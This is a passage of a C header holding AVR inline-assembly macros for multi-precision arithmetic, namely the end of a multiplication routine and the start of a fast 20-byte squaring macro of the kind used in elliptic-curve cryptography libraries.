12755 "adc r23, r25 \n\t" \
12756 "mul r3, r16 \n\t" \
12757 "add r24, r0 \n\t" \
12758 "adc r22, r1 \n\t" \
12759 "adc r23, r25 \n\t" \
12760 "ld r0, z \n\t" \
12761 "add r24, r0 \n\t" \
12762 "adc r22, r25 \n\t" \
12763 "adc r23, r25 \n\t" \
12764 "st z+, r24 \n\t" \
12765 \
12766 "ld r16, y+ \n\t" \
12767 "ldi r24, 0 \n\t" \
12768 "mul r4, r16 \n\t" \
12769 "add r22, r0 \n\t" \
12770 "adc r23, r1 \n\t" \
12771 "adc r24, r25 \n\t" \
12772 "mul r5, r15 \n\t" \
12773 "add r22, r0 \n\t" \
12774 "adc r23, r1 \n\t" \
12775 "adc r24, r25 \n\t" \
12776 "mul r6, r14 \n\t" \
12777 "add r22, r0 \n\t" \
12778 "adc r23, r1 \n\t" \
12779 "adc r24, r25 \n\t" \
12780 "mul r7, r13 \n\t" \
12781 "add r22, r0 \n\t" \
12782 "adc r23, r1 \n\t" \
12783 "adc r24, r25 \n\t" \
12784 "mul r8, r12 \n\t" \
12785 "add r22, r0 \n\t" \
12786 "adc r23, r1 \n\t" \
12787 "adc r24, r25 \n\t" \
12788 "mul r9, r21 \n\t" \
12789 "add r22, r0 \n\t" \
12790 "adc r23, r1 \n\t" \
12791 "adc r24, r25 \n\t" \
12792 "mul r10, r20 \n\t" \
12793 "add r22, r0 \n\t" \
12794 "adc r23, r1 \n\t" \
12795 "adc r24, r25 \n\t" \
12796 "mul r11, r19 \n\t" \
12797 "add r22, r0 \n\t" \
12798 "adc r23, r1 \n\t" \
12799 "adc r24, r25 \n\t" \
12800 "mul r2, r18 \n\t" \
12801 "add r22, r0 \n\t" \
12802 "adc r23, r1 \n\t" \
12803 "adc r24, r25 \n\t" \
12804 "mul r3, r17 \n\t" \
12805 "add r22, r0 \n\t" \
12806 "adc r23, r1 \n\t" \
12807 "adc r24, r25 \n\t" \
12808 "ld r0, z \n\t" \
12809 "add r22, r0 \n\t" \
12810 "adc r23, r25 \n\t" \
12811 "adc r24, r25 \n\t" \
12812 "st z+, r22 \n\t" \
12813 \
12814 "ld r17, y+ \n\t" \
12815 "ldi r22, 0 \n\t" \
12816 "mul r4, r17 \n\t" \
12817 "add r23, r0 \n\t" \
12818 "adc r24, r1 \n\t" \
12819 "adc r22, r25 \n\t" \
12820 "mul r5, r16 \n\t" \
12821 "add r23, r0 \n\t" \
12822 "adc r24, r1 \n\t" \
12823 "adc r22, r25 \n\t" \
12824 "mul r6, r15 \n\t" \
12825 "add r23, r0 \n\t" \
12826 "adc r24, r1 \n\t" \
12827 "adc r22, r25 \n\t" \
12828 "mul r7, r14 \n\t" \
12829 "add r23, r0 \n\t" \
12830 "adc r24, r1 \n\t" \
12831 "adc r22, r25 \n\t" \
12832 "mul r8, r13 \n\t" \
12833 "add r23, r0 \n\t" \
12834 "adc r24, r1 \n\t" \
12835 "adc r22, r25 \n\t" \
12836 "mul r9, r12 \n\t" \
12837 "add r23, r0 \n\t" \
12838 "adc r24, r1 \n\t" \
12839 "adc r22, r25 \n\t" \
12840 "mul r10, r21 \n\t" \
12841 "add r23, r0 \n\t" \
12842 "adc r24, r1 \n\t" \
12843 "adc r22, r25 \n\t" \
12844 "mul r11, r20 \n\t" \
12845 "add r23, r0 \n\t" \
12846 "adc r24, r1 \n\t" \
12847 "adc r22, r25 \n\t" \
12848 "mul r2, r19 \n\t" \
12849 "add r23, r0 \n\t" \
12850 "adc r24, r1 \n\t" \
12851 "adc r22, r25 \n\t" \
12852 "mul r3, r18 \n\t" \
12853 "add r23, r0 \n\t" \
12854 "adc r24, r1 \n\t" \
12855 "adc r22, r25 \n\t" \
12856 "ld r0, z \n\t" \
12857 "add r23, r0 \n\t" \
12858 "adc r24, r25 \n\t" \
12859 "adc r22, r25 \n\t" \
12860 "st z+, r23 \n\t" \
12861 \
12862 "ld r18, y+ \n\t" \
12863 "ldi r23, 0 \n\t" \
12864 "mul r4, r18 \n\t" \
12865 "add r24, r0 \n\t" \
12866 "adc r22, r1 \n\t" \
12867 "adc r23, r25 \n\t" \
12868 "mul r5, r17 \n\t" \
12869 "add r24, r0 \n\t" \
12870 "adc r22, r1 \n\t" \
12871 "adc r23, r25 \n\t" \
12872 "mul r6, r16 \n\t" \
12873 "add r24, r0 \n\t" \
12874 "adc r22, r1 \n\t" \
12875 "adc r23, r25 \n\t" \
12876 "mul r7, r15 \n\t" \
12877 "add r24, r0 \n\t" \
12878 "adc r22, r1 \n\t" \
12879 "adc r23, r25 \n\t" \
12880 "mul r8, r14 \n\t" \
12881 "add r24, r0 \n\t" \
12882 "adc r22, r1 \n\t" \
12883 "adc r23, r25 \n\t" \
12884 "mul r9, r13 \n\t" \
12885 "add r24, r0 \n\t" \
12886 "adc r22, r1 \n\t" \
12887 "adc r23, r25 \n\t" \
12888 "mul r10, r12 \n\t" \
12889 "add r24, r0 \n\t" \
12890 "adc r22, r1 \n\t" \
12891 "adc r23, r25 \n\t" \
12892 "mul r11, r21 \n\t" \
12893 "add r24, r0 \n\t" \
12894 "adc r22, r1 \n\t" \
12895 "adc r23, r25 \n\t" \
12896 "mul r2, r20 \n\t" \
12897 "add r24, r0 \n\t" \
12898 "adc r22, r1 \n\t" \
12899 "adc r23, r25 \n\t" \
12900 "mul r3, r19 \n\t" \
12901 "add r24, r0 \n\t" \
12902 "adc r22, r1 \n\t" \
12903 "adc r23, r25 \n\t" \
12904 "ld r0, z \n\t" \
12905 "add r24, r0 \n\t" \
12906 "adc r22, r25 \n\t" \
12907 "adc r23, r25 \n\t" \
12908 "st z+, r24 \n\t" \
12909 \
12910 "ld r19, y+ \n\t" \
12911 "ldi r24, 0 \n\t" \
12912 "mul r4, r19 \n\t" \
12913 "add r22, r0 \n\t" \
12914 "adc r23, r1 \n\t" \
12915 "adc r24, r25 \n\t" \
12916 "mul r5, r18 \n\t" \
12917 "add r22, r0 \n\t" \
12918 "adc r23, r1 \n\t" \
12919 "adc r24, r25 \n\t" \
12920 "mul r6, r17 \n\t" \
12921 "add r22, r0 \n\t" \
12922 "adc r23, r1 \n\t" \
12923 "adc r24, r25 \n\t" \
12924 "mul r7, r16 \n\t" \
12925 "add r22, r0 \n\t" \
12926 "adc r23, r1 \n\t" \
12927 "adc r24, r25 \n\t" \
12928 "mul r8, r15 \n\t" \
12929 "add r22, r0 \n\t" \
12930 "adc r23, r1 \n\t" \
12931 "adc r24, r25 \n\t" \
12932 "mul r9, r14 \n\t" \
12933 "add r22, r0 \n\t" \
12934 "adc r23, r1 \n\t" \
12935 "adc r24, r25 \n\t" \
12936 "mul r10, r13 \n\t" \
12937 "add r22, r0 \n\t" \
12938 "adc r23, r1 \n\t" \
12939 "adc r24, r25 \n\t" \
12940 "mul r11, r12 \n\t" \
12941 "add r22, r0 \n\t" \
12942 "adc r23, r1 \n\t" \
12943 "adc r24, r25 \n\t" \
12944 "mul r2, r21 \n\t" \
12945 "add r22, r0 \n\t" \
12946 "adc r23, r1 \n\t" \
12947 "adc r24, r25 \n\t" \
12948 "mul r3, r20 \n\t" \
12949 "add r22, r0 \n\t" \
12950 "adc r23, r1 \n\t" \
12951 "adc r24, r25 \n\t" \
12952 "ld r0, z \n\t" \
12953 "add r22, r0 \n\t" \
12954 "adc r23, r25 \n\t" \
12955 "adc r24, r25 \n\t" \
12956 "st z+, r22 \n\t" \
12957 \
12958 "ld r20, y+ \n\t" \
12959 "ldi r22, 0 \n\t" \
12960 "mul r4, r20 \n\t" \
12961 "add r23, r0 \n\t" \
12962 "adc r24, r1 \n\t" \
12963 "adc r22, r25 \n\t" \
12964 "mul r5, r19 \n\t" \
12965 "add r23, r0 \n\t" \
12966 "adc r24, r1 \n\t" \
12967 "adc r22, r25 \n\t" \
12968 "mul r6, r18 \n\t" \
12969 "add r23, r0 \n\t" \
12970 "adc r24, r1 \n\t" \
12971 "adc r22, r25 \n\t" \
12972 "mul r7, r17 \n\t" \
12973 "add r23, r0 \n\t" \
12974 "adc r24, r1 \n\t" \
12975 "adc r22, r25 \n\t" \
12976 "mul r8, r16 \n\t" \
12977 "add r23, r0 \n\t" \
12978 "adc r24, r1 \n\t" \
12979 "adc r22, r25 \n\t" \
12980 "mul r9, r15 \n\t" \
12981 "add r23, r0 \n\t" \
12982 "adc r24, r1 \n\t" \
12983 "adc r22, r25 \n\t" \
12984 "mul r10, r14 \n\t" \
12985 "add r23, r0 \n\t" \
12986 "adc r24, r1 \n\t" \
12987 "adc r22, r25 \n\t" \
12988 "mul r11, r13 \n\t" \
12989 "add r23, r0 \n\t" \
12990 "adc r24, r1 \n\t" \
12991 "adc r22, r25 \n\t" \
12992 "mul r2, r12 \n\t" \
12993 "add r23, r0 \n\t" \
12994 "adc r24, r1 \n\t" \
12995 "adc r22, r25 \n\t" \
12996 "mul r3, r21 \n\t" \
12997 "add r23, r0 \n\t" \
12998 "adc r24, r1 \n\t" \
12999 "adc r22, r25 \n\t" \
13000 "ld r0, z \n\t" \
13001 "add r23, r0 \n\t" \
13002 "adc r24, r25 \n\t" \
13003 "adc r22, r25 \n\t" \
13004 "st z+, r23 \n\t" \
13005 \
13006 "ld r21, y+ \n\t" \
13007 "ldi r23, 0 \n\t" \
13008 "mul r4, r21 \n\t" \
13009 "add r24, r0 \n\t" \
13010 "adc r22, r1 \n\t" \
13011 "adc r23, r25 \n\t" \
13012 "mul r5, r20 \n\t" \
13013 "add r24, r0 \n\t" \
13014 "adc r22, r1 \n\t" \
13015 "adc r23, r25 \n\t" \
13016 "mul r6, r19 \n\t" \
13017 "add r24, r0 \n\t" \
13018 "adc r22, r1 \n\t" \
13019 "adc r23, r25 \n\t" \
13020 "mul r7, r18 \n\t" \
13021 "add r24, r0 \n\t" \
13022 "adc r22, r1 \n\t" \
13023 "adc r23, r25 \n\t" \
13024 "mul r8, r17 \n\t" \
13025 "add r24, r0 \n\t" \
13026 "adc r22, r1 \n\t" \
13027 "adc r23, r25 \n\t" \
13028 "mul r9, r16 \n\t" \
13029 "add r24, r0 \n\t" \
13030 "adc r22, r1 \n\t" \
13031 "adc r23, r25 \n\t" \
13032 "mul r10, r15 \n\t" \
13033 "add r24, r0 \n\t" \
13034 "adc r22, r1 \n\t" \
13035 "adc r23, r25 \n\t" \
13036 "mul r11, r14 \n\t" \
13037 "add r24, r0 \n\t" \
13038 "adc r22, r1 \n\t" \
13039 "adc r23, r25 \n\t" \
13040 "mul r2, r13 \n\t" \
13041 "add r24, r0 \n\t" \
13042 "adc r22, r1 \n\t" \
13043 "adc r23, r25 \n\t" \
13044 "mul r3, r12 \n\t" \
13045 "add r24, r0 \n\t" \
13046 "adc r22, r1 \n\t" \
13047 "adc r23, r25 \n\t" \
13048 "ld r0, z \n\t" \
13049 "add r24, r0 \n\t" \
13050 "adc r22, r25 \n\t" \
13051 "adc r23, r25 \n\t" \
13052 "st z+, r24 \n\t" \
13053 \
13054 "ld r12, y+ \n\t" \
13055 "ldi r24, 0 \n\t" \
13056 "mul r4, r12 \n\t" \
13057 "add r22, r0 \n\t" \
13058 "adc r23, r1 \n\t" \
13059 "adc r24, r25 \n\t" \
13060 "mul r5, r21 \n\t" \
13061 "add r22, r0 \n\t" \
13062 "adc r23, r1 \n\t" \
13063 "adc r24, r25 \n\t" \
13064 "mul r6, r20 \n\t" \
13065 "add r22, r0 \n\t" \
13066 "adc r23, r1 \n\t" \
13067 "adc r24, r25 \n\t" \
13068 "mul r7, r19 \n\t" \
13069 "add r22, r0 \n\t" \
13070 "adc r23, r1 \n\t" \
13071 "adc r24, r25 \n\t" \
13072 "mul r8, r18 \n\t" \
13073 "add r22, r0 \n\t" \
13074 "adc r23, r1 \n\t" \
13075 "adc r24, r25 \n\t" \
13076 "mul r9, r17 \n\t" \
13077 "add r22, r0 \n\t" \
13078 "adc r23, r1 \n\t" \
13079 "adc r24, r25 \n\t" \
13080 "mul r10, r16 \n\t" \
13081 "add r22, r0 \n\t" \
13082 "adc r23, r1 \n\t" \
13083 "adc r24, r25 \n\t" \
13084 "mul r11, r15 \n\t" \
13085 "add r22, r0 \n\t" \
13086 "adc r23, r1 \n\t" \
13087 "adc r24, r25 \n\t" \
13088 "mul r2, r14 \n\t" \
13089 "add r22, r0 \n\t" \
13090 "adc r23, r1 \n\t" \
13091 "adc r24, r25 \n\t" \
13092 "mul r3, r13 \n\t" \
13093 "add r22, r0 \n\t" \
13094 "adc r23, r1 \n\t" \
13095 "adc r24, r25 \n\t" \
13096 "ld r0, z \n\t" \
13097 "add r22, r0 \n\t" \
13098 "adc r23, r25 \n\t" \
13099 "adc r24, r25 \n\t" \
13100 "st z+, r22 \n\t" \
13101 \
13102 "ld r13, y+ \n\t" \
13103 "ldi r22, 0 \n\t" \
13104 "mul r4, r13 \n\t" \
13105 "add r23, r0 \n\t" \
13106 "adc r24, r1 \n\t" \
13107 "adc r22, r25 \n\t" \
13108 "mul r5, r12 \n\t" \
13109 "add r23, r0 \n\t" \
13110 "adc r24, r1 \n\t" \
13111 "adc r22, r25 \n\t" \
13112 "mul r6, r21 \n\t" \
13113 "add r23, r0 \n\t" \
13114 "adc r24, r1 \n\t" \
13115 "adc r22, r25 \n\t" \
13116 "mul r7, r20 \n\t" \
13117 "add r23, r0 \n\t" \
13118 "adc r24, r1 \n\t" \
13119 "adc r22, r25 \n\t" \
13120 "mul r8, r19 \n\t" \
13121 "add r23, r0 \n\t" \
13122 "adc r24, r1 \n\t" \
13123 "adc r22, r25 \n\t" \
13124 "mul r9, r18 \n\t" \
13125 "add r23, r0 \n\t" \
13126 "adc r24, r1 \n\t" \
13127 "adc r22, r25 \n\t" \
13128 "mul r10, r17 \n\t" \
13129 "add r23, r0 \n\t" \
13130 "adc r24, r1 \n\t" \
13131 "adc r22, r25 \n\t" \
13132 "mul r11, r16 \n\t" \
13133 "add r23, r0 \n\t" \
13134 "adc r24, r1 \n\t" \
13135 "adc r22, r25 \n\t" \
13136 "mul r2, r15 \n\t" \
13137 "add r23, r0 \n\t" \
13138 "adc r24, r1 \n\t" \
13139 "adc r22, r25 \n\t" \
13140 "mul r3, r14 \n\t" \
13141 "add r23, r0 \n\t" \
13142 "adc r24, r1 \n\t" \
13143 "adc r22, r25 \n\t" \
13144 "ld r0, z \n\t" \
13145 "add r23, r0 \n\t" \
13146 "adc r24, r25 \n\t" \
13147 "adc r22, r25 \n\t" \
13148 "st z+, r23 \n\t" \
13149 \
13150 "ldi r23, 0 \n\t" \
13151 "mul r5, r13 \n\t" \
13152 "add r24, r0 \n\t" \
13153 "adc r22, r1 \n\t" \
13154 "adc r23, r25 \n\t" \
13155 "mul r6, r12 \n\t" \
13156 "add r24, r0 \n\t" \
13157 "adc r22, r1 \n\t" \
13158 "adc r23, r25 \n\t" \
13159 "mul r7, r21 \n\t" \
13160 "add r24, r0 \n\t" \
13161 "adc r22, r1 \n\t" \
13162 "adc r23, r25 \n\t" \
13163 "mul r8, r20 \n\t" \
13164 "add r24, r0 \n\t" \
13165 "adc r22, r1 \n\t" \
13166 "adc r23, r25 \n\t" \
13167 "mul r9, r19 \n\t" \
13168 "add r24, r0 \n\t" \
13169 "adc r22, r1 \n\t" \
13170 "adc r23, r25 \n\t" \
13171 "mul r10, r18 \n\t" \
13172 "add r24, r0 \n\t" \
13173 "adc r22, r1 \n\t" \
13174 "adc r23, r25 \n\t" \
13175 "mul r11, r17 \n\t" \
13176 "add r24, r0 \n\t" \
13177 "adc r22, r1 \n\t" \
13178 "adc r23, r25 \n\t" \
13179 "mul r2, r16 \n\t" \
13180 "add r24, r0 \n\t" \
13181 "adc r22, r1 \n\t" \
13182 "adc r23, r25 \n\t" \
13183 "mul r3, r15 \n\t" \
13184 "add r24, r0 \n\t" \
13185 "adc r22, r1 \n\t" \
13186 "adc r23, r25 \n\t" \
13187 "st z+, r24 \n\t" \
13188 \
13189 "ldi r24, 0 \n\t" \
13190 "mul r6, r13 \n\t" \
13191 "add r22, r0 \n\t" \
13192 "adc r23, r1 \n\t" \
13193 "adc r24, r25 \n\t" \
13194 "mul r7, r12 \n\t" \
13195 "add r22, r0 \n\t" \
13196 "adc r23, r1 \n\t" \
13197 "adc r24, r25 \n\t" \
13198 "mul r8, r21 \n\t" \
13199 "add r22, r0 \n\t" \
13200 "adc r23, r1 \n\t" \
13201 "adc r24, r25 \n\t" \
13202 "mul r9, r20 \n\t" \
13203 "add r22, r0 \n\t" \
13204 "adc r23, r1 \n\t" \
13205 "adc r24, r25 \n\t" \
13206 "mul r10, r19 \n\t" \
13207 "add r22, r0 \n\t" \
13208 "adc r23, r1 \n\t" \
13209 "adc r24, r25 \n\t" \
13210 "mul r11, r18 \n\t" \
13211 "add r22, r0 \n\t" \
13212 "adc r23, r1 \n\t" \
13213 "adc r24, r25 \n\t" \
13214 "mul r2, r17 \n\t" \
13215 "add r22, r0 \n\t" \
13216 "adc r23, r1 \n\t" \
13217 "adc r24, r25 \n\t" \
13218 "mul r3, r16 \n\t" \
13219 "add r22, r0 \n\t" \
13220 "adc r23, r1 \n\t" \
13221 "adc r24, r25 \n\t" \
13222 "st z+, r22 \n\t" \
13223 \
13224 "ldi r22, 0 \n\t" \
13225 "mul r7, r13 \n\t" \
13226 "add r23, r0 \n\t" \
13227 "adc r24, r1 \n\t" \
13228 "adc r22, r25 \n\t" \
13229 "mul r8, r12 \n\t" \
13230 "add r23, r0 \n\t" \
13231 "adc r24, r1 \n\t" \
13232 "adc r22, r25 \n\t" \
13233 "mul r9, r21 \n\t" \
13234 "add r23, r0 \n\t" \
13235 "adc r24, r1 \n\t" \
13236 "adc r22, r25 \n\t" \
13237 "mul r10, r20 \n\t" \
13238 "add r23, r0 \n\t" \
13239 "adc r24, r1 \n\t" \
13240 "adc r22, r25 \n\t" \
13241 "mul r11, r19 \n\t" \
13242 "add r23, r0 \n\t" \
13243 "adc r24, r1 \n\t" \
13244 "adc r22, r25 \n\t" \
13245 "mul r2, r18 \n\t" \
13246 "add r23, r0 \n\t" \
13247 "adc r24, r1 \n\t" \
13248 "adc r22, r25 \n\t" \
13249 "mul r3, r17 \n\t" \
13250 "add r23, r0 \n\t" \
13251 "adc r24, r1 \n\t" \
13252 "adc r22, r25 \n\t" \
13253 "st z+, r23 \n\t" \
13254 \
13255 "ldi r23, 0 \n\t" \
13256 "mul r8, r13 \n\t" \
13257 "add r24, r0 \n\t" \
13258 "adc r22, r1 \n\t" \
13259 "adc r23, r25 \n\t" \
13260 "mul r9, r12 \n\t" \
13261 "add r24, r0 \n\t" \
13262 "adc r22, r1 \n\t" \
13263 "adc r23, r25 \n\t" \
13264 "mul r10, r21 \n\t" \
13265 "add r24, r0 \n\t" \
13266 "adc r22, r1 \n\t" \
13267 "adc r23, r25 \n\t" \
13268 "mul r11, r20 \n\t" \
13269 "add r24, r0 \n\t" \
13270 "adc r22, r1 \n\t" \
13271 "adc r23, r25 \n\t" \
13272 "mul r2, r19 \n\t" \
13273 "add r24, r0 \n\t" \
13274 "adc r22, r1 \n\t" \
13275 "adc r23, r25 \n\t" \
13276 "mul r3, r18 \n\t" \
13277 "add r24, r0 \n\t" \
13278 "adc r22, r1 \n\t" \
13279 "adc r23, r25 \n\t" \
13280 "st z+, r24 \n\t" \
13281 \
13282 "ldi r24, 0 \n\t" \
13283 "mul r9, r13 \n\t" \
13284 "add r22, r0 \n\t" \
13285 "adc r23, r1 \n\t" \
13286 "adc r24, r25 \n\t" \
13287 "mul r10, r12 \n\t" \
13288 "add r22, r0 \n\t" \
13289 "adc r23, r1 \n\t" \
13290 "adc r24, r25 \n\t" \
13291 "mul r11, r21 \n\t" \
13292 "add r22, r0 \n\t" \
13293 "adc r23, r1 \n\t" \
13294 "adc r24, r25 \n\t" \
13295 "mul r2, r20 \n\t" \
13296 "add r22, r0 \n\t" \
13297 "adc r23, r1 \n\t" \
13298 "adc r24, r25 \n\t" \
13299 "mul r3, r19 \n\t" \
13300 "add r22, r0 \n\t" \
13301 "adc r23, r1 \n\t" \
13302 "adc r24, r25 \n\t" \
13303 "st z+, r22 \n\t" \
13304 \
13305 "ldi r22, 0 \n\t" \
13306 "mul r10, r13 \n\t" \
13307 "add r23, r0 \n\t" \
13308 "adc r24, r1 \n\t" \
13309 "adc r22, r25 \n\t" \
13310 "mul r11, r12 \n\t" \
13311 "add r23, r0 \n\t" \
13312 "adc r24, r1 \n\t" \
13313 "adc r22, r25 \n\t" \
13314 "mul r2, r21 \n\t" \
13315 "add r23, r0 \n\t" \
13316 "adc r24, r1 \n\t" \
13317 "adc r22, r25 \n\t" \
13318 "mul r3, r20 \n\t" \
13319 "add r23, r0 \n\t" \
13320 "adc r24, r1 \n\t" \
13321 "adc r22, r25 \n\t" \
13322 "st z+, r23 \n\t" \
13323 \
13324 "ldi r23, 0 \n\t" \
13325 "mul r11, r13 \n\t" \
13326 "add r24, r0 \n\t" \
13327 "adc r22, r1 \n\t" \
13328 "adc r23, r25 \n\t" \
13329 "mul r2, r12 \n\t" \
13330 "add r24, r0 \n\t" \
13331 "adc r22, r1 \n\t" \
13332 "adc r23, r25 \n\t" \
13333 "mul r3, r21 \n\t" \
13334 "add r24, r0 \n\t" \
13335 "adc r22, r1 \n\t" \
13336 "adc r23, r25 \n\t" \
13337 "st z+, r24 \n\t" \
13338 \
13339 "ldi r24, 0 \n\t" \
13340 "mul r2, r13 \n\t" \
13341 "add r22, r0 \n\t" \
13342 "adc r23, r1 \n\t" \
13343 "adc r24, r25 \n\t" \
13344 "mul r3, r12 \n\t" \
13345 "add r22, r0 \n\t" \
13346 "adc r23, r1 \n\t" \
13347 "adc r24, r25 \n\t" \
13348 "st z+, r22 \n\t" \
13349 \
13350 "mul r3, r13 \n\t" \
13351 "add r23, r0 \n\t" \
13352 "adc r24, r1 \n\t" \
13353 "st z+, r23 \n\t" \
13354 "st z+, r24 \n\t" \
13355 "eor r1, r1 \n\t"
13356
13357 #define FAST_SQUARE_ASM_5 \
13358 "ld r2, x+ \n\t" \
13359 "ld r3, x+ \n\t" \
13360 "ld r4, x+ \n\t" \
13361 "ld r5, x+ \n\t" \
13362 "ld r6, x+ \n\t" \
13363 "ld r7, x+ \n\t" \
13364 "ld r8, x+ \n\t" \
13365 "ld r9, x+ \n\t" \
13366 "ld r10, x+ \n\t" \
13367 "ld r11, x+ \n\t" \
13368 "ld r12, x+ \n\t" \
13369 "ld r13, x+ \n\t" \
13370 "ld r14, x+ \n\t" \
13371 "ld r15, x+ \n\t" \
13372 "ld r16, x+ \n\t" \
13373 "ld r17, x+ \n\t" \
13374 "ld r18, x+ \n\t" \
13375 "ld r19, x+ \n\t" \
13376 "ld r20, x+ \n\t" \
13377 "ld r21, x+ \n\t" \
13378 "ldi r27, 0 \n\t" \
13379 \
13380 "ldi r23, 0 \n\t" \
13381 "mul r2, r2 \n\t" \
13382 "st z+, r0 \n\t" \
13383 "mov r22, r1 \n\t" \
13384 \
13385 "ldi r24, 0 \n\t" \
13386 "mul r2, r3 \n\t" \
13387 "lsl r0 \n\t" \
13388 "rol r1 \n\t" \
13389 "adc r24, r27 \n\t" \
13390 "add r22, r0 \n\t" \
13391 "adc r23, r1 \n\t" \
13392 "adc r24, r27 \n\t" \
13393 "st z+, r22 \n\t" \
13394 \
13395 "ldi r22, 0 \n\t" \
13396 "mul r2, r4 \n\t" \
13397 "lsl r0 \n\t" \
13398 "rol r1 \n\t" \
13399 "adc r22, r27 \n\t" \
13400 "add r23, r0 \n\t" \
13401 "adc r24, r1 \n\t" \
13402 "adc r22, r27 \n\t" \
13403 "mul r3, r3 \n\t" \
13404 "add r23, r0 \n\t" \
13405 "adc r24, r1 \n\t" \
13406 "adc r22, r27 \n\t" \
13407 "st z+, r23 \n\t" \
13408 \
13409 "ldi r26, 0 \n\t" \
13410 "mul r2, r5 \n\t" \
13411 "mov r23, r0 \n\t" \
13412 "mov r25, r1 \n\t" \
13413 "mul r3, r4 \n\t" \
13414 "add r23, r0 \n\t" \
13415 "adc r25, r1 \n\t" \
13416 "adc r26, r27 \n\t" \
13417 "lsl r23 \n\t" \
13418 "rol r25 \n\t" \
13419 "rol r26 \n\t" \
13420 "add r23, r24 \n\t" \
13421 "adc r25, r22 \n\t" \
13422 "adc r26, r27 \n\t" \
13423 "st z+, r23 \n\t" \
13424 \
13425 "ldi r22, 0 \n\t" \
13426 "mul r2, r6 \n\t" \
13427 "mov r23, r0 \n\t" \
13428 "mov r24, r1 \n\t" \
13429 "mul r3, r5 \n\t" \
13430 "add r23, r0 \n\t" \
13431 "adc r24, r1 \n\t" \
13432 "adc r22, r27 \n\t" \
13433 "lsl r23 \n\t" \
13434 "rol r24 \n\t" \
13435 "rol r22 \n\t" \
13436 "mul r4, r4 \n\t" \
13437 "add r23, r0 \n\t" \
13438 "adc r24, r1 \n\t" \
13439 "adc r22, r27 \n\t" \
13440 "add r23, r25 \n\t" \
13441 "adc r24, r26 \n\t" \
13442 "adc r22, r27 \n\t" \
13443 "st z+, r23 \n\t" \
13444 \
13445 "ldi r26, 0 \n\t" \
13446 "mul r2, r7 \n\t" \
13447 "mov r23, r0 \n\t" \
13448 "mov r25, r1 \n\t" \
13449 "mul r3, r6 \n\t" \
13450 "add r23, r0 \n\t" \
13451 "adc r25, r1 \n\t" \
13452 "adc r26, r27 \n\t" \
13453 "mul r4, r5 \n\t" \
13454 "add r23, r0 \n\t" \
13455 "adc r25, r1 \n\t" \
13456 "adc r26, r27 \n\t" \
13457 "lsl r23 \n\t" \
13458 "rol r25 \n\t" \
13459 "rol r26 \n\t" \
13460 "add r23, r24 \n\t" \
13461 "adc r25, r22 \n\t" \
13462 "adc r26, r27 \n\t" \
13463 "st z+, r23 \n\t" \
13464 \
13465 "ldi r22, 0 \n\t" \
13466 "mul r2, r8 \n\t" \
13467 "mov r23, r0 \n\t" \
13468 "mov r24, r1 \n\t" \
13469 "mul r3, r7 \n\t" \
13470 "add r23, r0 \n\t" \
13471 "adc r24, r1 \n\t" \
13472 "adc r22, r27 \n\t" \
13473 "mul r4, r6 \n\t" \
13474 "add r23, r0 \n\t" \
13475 "adc r24, r1 \n\t" \
13476 "adc r22, r27 \n\t" \
13477 "lsl r23 \n\t" \
13478 "rol r24 \n\t" \
13479 "rol r22 \n\t" \
13480 "mul r5, r5 \n\t" \
13481 "add r23, r0 \n\t" \
13482 "adc r24, r1 \n\t" \
13483 "adc r22, r27 \n\t" \
13484 "add r23, r25 \n\t" \
13485 "adc r24, r26 \n\t" \
13486 "adc r22, r27 \n\t" \
13487 "st z+, r23 \n\t" \
13488 \
13489 "ldi r26, 0 \n\t" \
13490 "mul r2, r9 \n\t" \
13491 "mov r23, r0 \n\t" \
13492 "mov r25, r1 \n\t" \
13493 "mul r3, r8 \n\t" \
13494 "add r23, r0 \n\t" \
13495 "adc r25, r1 \n\t" \
13496 "adc r26, r27 \n\t" \
13497 "mul r4, r7 \n\t" \
13498 "add r23, r0 \n\t" \
13499 "adc r25, r1 \n\t" \
13500 "adc r26, r27 \n\t" \
13501 "mul r5, r6 \n\t" \
13502 "add r23, r0 \n\t" \
13503 "adc r25, r1 \n\t" \
13504 "adc r26, r27 \n\t" \
13505 "lsl r23 \n\t" \
13506 "rol r25 \n\t" \
13507 "rol r26 \n\t" \
13508 "add r23, r24 \n\t" \
13509 "adc r25, r22 \n\t" \
13510 "adc r26, r27 \n\t" \
13511 "st z+, r23 \n\t" \
13512 \
13513 "ldi r22, 0 \n\t" \
13514 "mul r2, r10 \n\t" \
13515 "mov r23, r0 \n\t" \
13516 "mov r24, r1 \n\t" \
13517 "mul r3, r9 \n\t" \
13518 "add r23, r0 \n\t" \
13519 "adc r24, r1 \n\t" \
13520 "adc r22, r27 \n\t" \
13521 "mul r4, r8 \n\t" \
13522 "add r23, r0 \n\t" \
13523 "adc r24, r1 \n\t" \
13524 "adc r22, r27 \n\t" \
13525 "mul r5, r7 \n\t" \
13526 "add r23, r0 \n\t" \
13527 "adc r24, r1 \n\t" \
13528 "adc r22, r27 \n\t" \
13529 "lsl r23 \n\t" \
13530 "rol r24 \n\t" \
13531 "rol r22 \n\t" \
13532 "mul r6, r6 \n\t" \
13533 "add r23, r0 \n\t" \
13534 "adc r24, r1 \n\t" \
13535 "adc r22, r27 \n\t" \
13536 "add r23, r25 \n\t" \
13537 "adc r24, r26 \n\t" \
13538 "adc r22, r27 \n\t" \
13539 "st z+, r23 \n\t" \
13540 \
13541 "ldi r26, 0 \n\t" \
13542 "mul r2, r11 \n\t" \
13543 "mov r23, r0 \n\t" \
13544 "mov r25, r1 \n\t" \
13545 "mul r3, r10 \n\t" \
13546 "add r23, r0 \n\t" \
13547 "adc r25, r1 \n\t" \
13548 "adc r26, r27 \n\t" \
13549 "mul r4, r9 \n\t" \
13550 "add r23, r0 \n\t" \
13551 "adc r25, r1 \n\t" \
13552 "adc r26, r27 \n\t" \
13553 "mul r5, r8 \n\t" \
13554 "add r23, r0 \n\t" \
13555 "adc r25, r1 \n\t" \
13556 "adc r26, r27 \n\t" \
13557 "mul r6, r7 \n\t" \
13558 "add r23, r0 \n\t" \
13559 "adc r25, r1 \n\t" \
13560 "adc r26, r27 \n\t" \
13561 "lsl r23 \n\t" \
13562 "rol r25 \n\t" \
13563 "rol r26 \n\t" \
13564 "add r23, r24 \n\t" \
13565 "adc r25, r22 \n\t" \
13566 "adc r26, r27 \n\t" \
13567 "st z+, r23 \n\t" \
13568 \
13569 "ldi r22, 0 \n\t" \
13570 "mul r2, r12 \n\t" \
13571 "mov r23, r0 \n\t" \
13572 "mov r24, r1 \n\t" \
13573 "mul r3, r11 \n\t" \
13574 "add r23, r0 \n\t" \
13575 "adc r24, r1 \n\t" \
13576 "adc r22, r27 \n\t" \
13577 "mul r4, r10 \n\t" \
13578 "add r23, r0 \n\t" \
